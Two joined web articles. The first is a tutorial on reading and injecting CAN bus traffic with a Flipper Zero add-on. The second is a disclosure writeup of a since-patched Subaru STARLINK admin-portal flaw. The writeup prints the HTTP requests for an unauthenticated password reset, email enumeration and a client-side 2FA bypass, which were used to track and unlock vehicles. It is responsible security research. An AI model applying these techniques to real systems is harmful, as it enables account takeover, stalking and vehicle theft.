https://www.hackster.io/electronic-cats/can-flipper-hack-a-car-ce7ec0

The primary aim of this tutorial is to expose the potential vulnerabilities of the CAN network in modern vehicles—not to bypass security features or gain unauthorized access, but to demonstrate how accessible data and commands are over this unencrypted network. By connecting the Flipper Zero device along with an Electronic Cats CANBus Add-On, either to a car’s OBD2 port or the CAN network, we’ll show how easy it can be to retrieve critical information and interact with vehicle systems in real-time.

We aim to emphasize the importance of cybersecurity in automotive design and encourage ethical research.

Understanding Car Electronics 🚘

Modern cars are built with intricate networks of Electronic Control Units (ECUs) that control and monitor nearly every electronic function. These ECUs act as miniature computers, each assigned to manage specific tasks: controlling engine performance, braking systems, transmission functions, and even comfort settings like air conditioning. The ECUs communicate with one another over a Controller Area Network (CAN), a robust protocol that enables them to exchange critical data and commands in real-time, ensuring the car operates as a cohesive system.

Overview of the ECUs network in a car

While the CAN protocol is efficient and reliable, it was not designed with robust security in mind. Once an unauthorized device gains access to the CAN network, it’s possible to read and, in some cases, inject CAN messages directly into the network. These messages, if crafted correctly, can control certain functions within the vehicle—from honking the horn to manipulating vehicle speed or locking systems.

Though auto manufacturers have implemented some safeguards, CAN networks remain susceptible to potential exploitation.

OBD2

The On-Board Diagnostics 2 (OBD2) port is a standardized gateway designed for vehicle diagnostics. OBD2 has become a versatile entry point to access real-time information on various vehicle parameters, read diagnostic codes, and even conduct performance tuning.

OB II conenctor in a car, located beneath the steering wheel.

PID (Parameters IDs)

PID codes are used to request data from a vehicle. There is an expected response for each PID given. Not all vehicles will support all PIDs and there can be manufacturer-defined custom PIDs that are not defined in the OBD2 standard. For example, mode 0x01 contains standardized PIDs that provide real-time data on speed, RPM, and fuel level.

You can find more information about the available PID codes and how they work in OBD2 PIDs.

DTC Codes

DTC (Diagnostic Trouble Codes), also referred to as engine fault codes, are used to identify and diagnose malfunctions in a vehicle. When a vehicle’s OBD system detects a problem, it activates the corresponding trouble code.

DTC codes structure

Manufacturer-specific codes must be referred to official brand documentation.

Installing the App ⬇️

The app is compatible with any firmware for Flipper, official or custom, as long as it matches the firmware version to what the app was compiled to. There is not much to worry about in this aspect because the app is usually updated each time a new official firmware stable version is released, so you can use the app with any Flipper firmware you want.

To install it, you only need to:

1. Go to the app repository in the Things used for this project.

2. Go to the releases section or enter this link directly: Flipper CANBUS app releases.

CANBUS Flipper App GitHub repository main view.

3. Download the .fap file from the Assets section.

4. Connect your Flipper to either qFlipper,Flipper Lab or the Flipper mobile app (if Experimental Options are enabled).

5. Using the File Manager system, navigate to the Apps Folder.

6. Upload the .fap file to the path you prefer. It is recommended to create a new folder or use an existing folder as the “Misc” folder.

.fap file save in the Flipper's memory

Done! When the app is installed, navigate in your Flipper to the path where the app file was saved and open it.

Find more information about the app and the Add-On in its wiki.

Testing with a real car

We have tested it with a real car, but we have done it safely, just accessing the OBD2 port and not connecting to the ECUs network. Connecting to the ECU network can break your car and can be dangerous for you and others, please act safely.

As shown in the video in the first section of this tutorial, we have been able to get typical data like the engine speed (RPM), time elapsed since the engine was turned on, and so on. Also, we have been able to get the VIN (Vehicle Identification Number), and DTC codes stored in the main ECU and delete them. Getting DTC codes along with your user manual book can be useful to get a better idea of what is going wrong with your car.

Here are some snapshots from the video:

 

 

 

 

1 / 5 • OBD2 - Throttle position sensor data

This process was done by connecting the Flipper Add-On through an OBD2 connector, which only enables the CAN bus lines on the car's OBD2 port.

OBD2 connector attached to Flipper CAN bus Add-On

Testing with RAMN 🐏

RAMN (Resistant Automotive Miniature Network) is a miniature CAN/CAN-FD testbed of four Electronic Control Units (ECUs) that allows us to experiment without resorting to a real vehicle, which we could damage by playing with the CAN message injection.

Requirements:

• Flipper Zero with CANBUS Add-On.
• RAMN (built and programmed).
• Cables for connecting CAN High and CAN Low.
• Flipper MCP2515 CANBUS app installed on your Flipper.

Steps:

• Attach the CAN bus Module to the Flipper Zero. Ensure the CAN bus Add-on module is securely attached to your Flipper. This module enables the Flipper to connect to and communicate over a CAN network.
• Connect to the RAMN Simulator. Locate the CAN High and CAN Low terminals on the RAMN simulator.
• Locate the CAN High and CAN Low terminals on the RAMN simulator.
• Connect CAN High on the Flipper Add-On to CAN High on the RAMN.
• Connect CAN Low on the Flipper Add-On to CAN Low on the RAMN.

CAN headers on RAMN are located near to the ECU D

• Go to the CAN dump section in RAMN.
• Open the CAN bus app in the Flipper.

CAN bus app opened and Add-On connected to the RAMN

Now, it is possible to sniff the CAN dump, inject packets, and read OBD2 data. RAMN does not support OBD2 messages, but since some CAN messages are sent over PIDs services these are taken as OBD2 packets, so Flipper can display typical data.

Here are some pictures for more of the tests with RAM:

 

 

 

 

1 / 2 • Sniffing PID addresses list

Flipper reading OBD2 typical data.

Some data emulation is not supported by RAMN, like the VIN and DTC codes, so it is expected to see an error message.

TRANSMISSION FAILURE messag display due to unsupported features by RAMN

Concluding

The CAN Bus Add-On and the CAN Bus App for the Flipper Zero are versatile tools that extend their functionality beyond automotive diagnostics into industrial CAN network applications and so on. Paired with the right knowledge and wiring, this setup provides users with a powerful platform to monitor, analyze, and even interact with CAN communication in real-time. Whether you're troubleshooting, experimenting, or learning about CAN bus protocols, this add-on offers a portable and user-friendly solution to dive into the world of Controller Area Networks.

We invite you to visit other tutorials or the CANBUS Add-On Shield documentation to learn more:

• Hackster.io Electronic Cats
• Electronic Cats Flipper Add-On

Follow us for more projects and updates to come!

https://samcurry.net/hacking-subaru

Introduction

On November 20, 2024, Shubham Shah and I discovered a security vulnerability in Subaru’s STARLINK connected vehicle service that gave us unrestricted targeted access to all vehicles and customer accounts in the United States, Canada, and Japan.

Using the access provided by the vulnerability, an attacker who only knew the victim’s last name and ZIP code, email address, phone number, or license plate could have done the following:

• Remotely start, stop, lock, unlock, and retrieve the current location of any vehicle.
• Retrieve any vehicle’s complete location history from the past year, accurate to within 5 meters and updated each time the engine starts.
• Query and retrieve the personally identifiable information (PII) of any customer, including emergency contacts, authorized users, physical address, billing information (e.g., last 4 digits of credit card, excluding full card number), and vehicle PIN.
• Access miscellaneous user data including support call history, previous owners, odometer reading, sales history, and more.

After reporting the vulnerability, the affected system was patched within 24 hours and never exploited maliciously.

Vulnerability Writeup

A little over a year ago, I bought my mom a 2023 Subaru Impreza with the promise that she would let me borrow it to try and hack it. I’d spent the last few years hunting for vulnerabilities in other automakers, but didn’t yet have the chance to look at Subaru.

While visiting home for thanksgiving this year, I took my opportunity and asked for the account login to see if I could get anywhere.

Auditing the MySubaru Mobile App

The first thing I wanted to test was the MySubaru app. This app allowed users to send vehicle commands, so I proxied the app using Burp Suite and intercepted the telematic command HTTP requests, hoping to find a vulnerability to unlock cars without authorization.

The below request was sent when unlocking a car via the app:

POST /g2v30/service/g2/unlock/execute.json;jsessionid=AE6E4482F5C4493A79C8F3BD656F8BBA HTTP/1.1
Host: mobileapi.prod.subarucs.com
Content-Type: application/json
Connection: keep-alive
Accept: */*
User-Agent: MySubaru-PROD-SOA/2024110100 CFNetwork/1568.300.101 Darwin/24.2.0
Content-Length: 83
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br

{
  "delay": 0,
  "unlockDoorType": "ALL_DOORS_CMD",
  "vin": "4S3GTAV64P3701234",
  "pin": "1234"
}

After failing to bypass the authorization for in-app vehicle commands, I looked around the app a bit more but couldn’t find anything interesting to test. Everything seemed properly secured. There weren’t a lot of endpoints. The authorization worked really well.

Maybe testing the MySubaru app was the wrong approach.

From my past experience with car companies, I knew there could be publicly accessible employee-facing applications with broader permissions than the customer-facing apps. With that in mind, I decided to shift focus and started hunting for other Subaru-related websites to test.

Finding the Subaru Admin Panel

I sent my friend Shubs a message over Discord to see if he’d be interested in helping me find any potential Subaru employee applications. He said sure -- and then immediately sent me this message:

shubs — 11/19/2024
have you seen this host before?
subarucs.com

He noticed that ‘my.subaru.com’ (a domain that the MySubaru app was using) was a CNAME for ‘mys.prod.subarucs.com’ (a domain that I hadn’t seen before).

nslookup my.subaru.com
Server:         127.0.0.53
Address:        127.0.0.53#53

Non-authoritative answer:
my.subaru.com   canonical name = www.mysubaru.com.
www.mysubaru.com        canonical name = mys.prod.subarucs.com.
Name:   mys.prod.subarucs.com

We ran a scan to find other subdomains and checked the output:

…
STARLINK® Admin Portal - https://portal.prod.subarucs.com/login.html
…

Well, that definitely looked like employee functionality. From a quick Google, it appeared that STARLINK was the name of Subaru’s in-vehicle infotainment system which provided all of the remote functionality for the vehicle. This appeared to be an admin panel related to it.

The Subaru STARLINK admin panel.

Arbitrary Account Takeover on Subaru STARLINK Admin Portal

At first glance, it didn’t seem like there would be much here. It was just a login panel, and we didn’t have any credentials. I checked the source of the website hoping to see a bit more, and the following bit caught my eye:

<script type="text/javascript" src="/assets/_js/starlinkEnroll.js"></script>

There were some interesting JavaScript files under the “/assets/_js/” folder that were loaded into the login page, so I went ahead and brute forced the directory in hopes of finding other JavaScript files.

After a few minutes of running FFuF, we got a hit for a “login.js” file which the following very interesting code snippet:

$('#new_password_submit').on('click', function(e) {
	e.preventDefault();
	if($('#forgot-password-step4-form').valid()) {
		disableBtns();
		$.ajax({
            url: "/forgotPassword/resetPassword.json",
			type: "POST",
            contentType: "application/json",
            data: JSON.stringify({
                email: email,
                password: $('#new_password').val(),
                passwordConfirmation: $('#confirm_new_password').val()
            }),
			async: false
		}).done(function (response) {

It appeared that there was a “resetPassword.json” endpoint that would reset employee’s accounts without a confirmation token!

If this worked how it was written in the JavaScript, then an attacker could simply enter any valid employee email and take over their account. I sent the following POST request to confirm that the functionality was even accessible:

HTTP Request

POST /forgotPassword/resetPassword.json HTTP/1.1
Host: portal.prod.subarucs.com

{
  "email": "random@random.com",
  "password": "Example123!",
  "passwordConfirmation": "Example123!"
}

HTTP Response

HTTP/1.1 200
Content-type: application/json
Content-length: 7

“error”

It seemed to be working, we just needed to find an employee’s email address to test it on. Since this was a fairly large application, there were probably a bunch of different users, we just needed to find some way to enumerate them. I dug through the rest of the JS looking for an endpoint that might let us enumerate emails until I saw the following:

HTTP Request

GET /adminProfile/getSecurityQuestion.json?email=example@example.com HTTP/1.1
Host: portal.prod.subarucs.com

HTTP Response

HTTP/1.1 200
Content-type: application/json
Content-length: 7

{
  "error": "Invalid email"
}

The above endpoint would return the user’s security questions if their email was valid. We could use this to enumerate user accounts until we found someone that was active on this platform.

Enumerating Employee Emails

Using LinkedIn, we did a quick search for “Subaru STARLINK” and found a few employees who appeared to be software engineers. After getting their names, we Googled and found that Subaru emails are in the following format:

[first_initial][last]@subaru.com

We tossed the few emails that we’d pieced together into the “getSecurityQuestion.json” endpoint and hit send. On the fourth attempt, we got a response back!

<label for="securityQuestionId">
  <span class="securityQuestionText">What city were you born in?</span>
</label>

The jdoe@subaru.com (redacted) email was valid! We went back to the reset password endpoint and hit send.

HTTP Request

POST /forgotPassword/resetPassword.json HTTP/1.1
Host: portal.prod.subarucs.com

{
  "email": "jdoe@subaru.com",
  "password": "Example123!",
  "passwordConfirmation": "Example123!"
}

HTTP Response

HTTP/1.1 200
Date: Wed, 20 Nov 2024 03:02:31 GMT
Content-Type: application/json
Connection: close
X-Frame-Options: SAMEORIGIN
Content-Length: 9

"success"

It worked! We tried logging in.

We had successfully taken over an employee’s account, but there was now a 2FA prompt to actually use the website. It was custom, so we tried to see if there was anything to do to bypass it.

Bypassing 2FA

We tried the simplest thing that we could think of: removing the client-side overlay from the UI.

Match

$('#securityQuestionModal').modal('show');

Replace

//$('#securityQuestionModal').modal('show');

After removing the client-side overlay, we clicked around and the whole app seemed to function normally. All of the buttons worked, and were returning server-side data.

2FA bypassed.

Tracking My Mom for the Last Year

The left navbar had a ton of different functionality, but the juiciest sounding one was “Last Known Location”. I went ahead and typed in my mom’s last name and ZIP code. Her car popped up in the search results. I clicked it and saw everywhere my mom had traveled the last year:

DateOdometerLocation

The “Last Known Location” endpoint was more than the last location, it gave me the exact coordinates of everywhere that she had started her engine or used a telematics command over the last year. I didn’t realize this data was being collected, but it seemed that we had agreed to the STARLINK enrollment when we purchased it.

To better understand the data, I exported a year’s worth of location history from my mom’s 2023 Impreza and imported it into the Google Maps iframe below. The below map is a slightly modified export (some sensitive bits removed) of all of the locations she had visited.

Visualizing a Year of Subaru Location History

Map displaying 1,600 leaked coordinates from a 2023 Subaru Impreza, similar data was retrievable for any internet-connected Subaru

Our STARLINK purchase agreement history, accessible from the admin panel.

There were a ton of other endpoints. One of them was a vehicle search which let you query a customer’s last name and zip code, phone number, email address, or VIN number (retrievable via license plate) and grant/modify access to their vehicle.

Retrieving street address, phone number, email, emergency contacts, authorized users, and billing information of any Subaru STARLINK customer.

The STARLINK search functionality which allows you to search via zip code and last name, VIN, email address, and phone number.

Unlocking a Friend’s Car

After searching and finding my own vehicle in the dashboard, I confirmed that the STARLINK admin dashboard should have access to pretty much any Subaru in the United States, Canada, and Japan. We wanted to confirm that there was nothing we were missing, so we reached out to a friend and asked if we could hack her car to demonstrate that there was no pre-requisite or feature which would’ve actually prevented a full vehicle takeover.

She sent us her license plate, we pulled up her vehicle in the admin panel, then finally we added ourselves to her car.

Adding ourselves as an authorized user to our friend's Subaru to demonstrate that we could execute commands on their vehicle.

We waited a few minutes, then we saw that our account had been created successfully.

Now that we had access, I asked if they could peek outside and see if anything was happening with their car. I sent the “unlock” command. They then sent us this video.

Success!

Afterwards, she confirmed that she did not receive any notification, text message, or email after we added ourselves as an authorized user and unlocked her car.

Timeline

• 11/20/24 11:54 PM CST: Initial report sent to SecOps email
• 11/21/24 7:40 AM CST: Initial response from Subaru team
• 11/21/24 4:00 PM CST: Vulnerability fixed, unable to reproduce
• 01/23/25 6:00 AM CST: Blog post released

Addendum

When writing this, I had a really hard time trying to do another blog post on car hacking. Most readers of this blog already work in security, so I really don’t think the actual password reset or 2FA bypass techniques are new to anyone. The part that I felt was worth sharing was the impact of the bug itself, and how the connected car systems actually work.

The auto industry is unique in that an 18-year-old employee from Texas can query the billing information of a vehicle in California, and it won’t really set off any alarm bells. It’s part of their normal day-to-day job. The employees all have access to a ton of personal information, and the whole thing relies on trust.

It seems really hard to really secure these systems when such broad access is built into the system by default.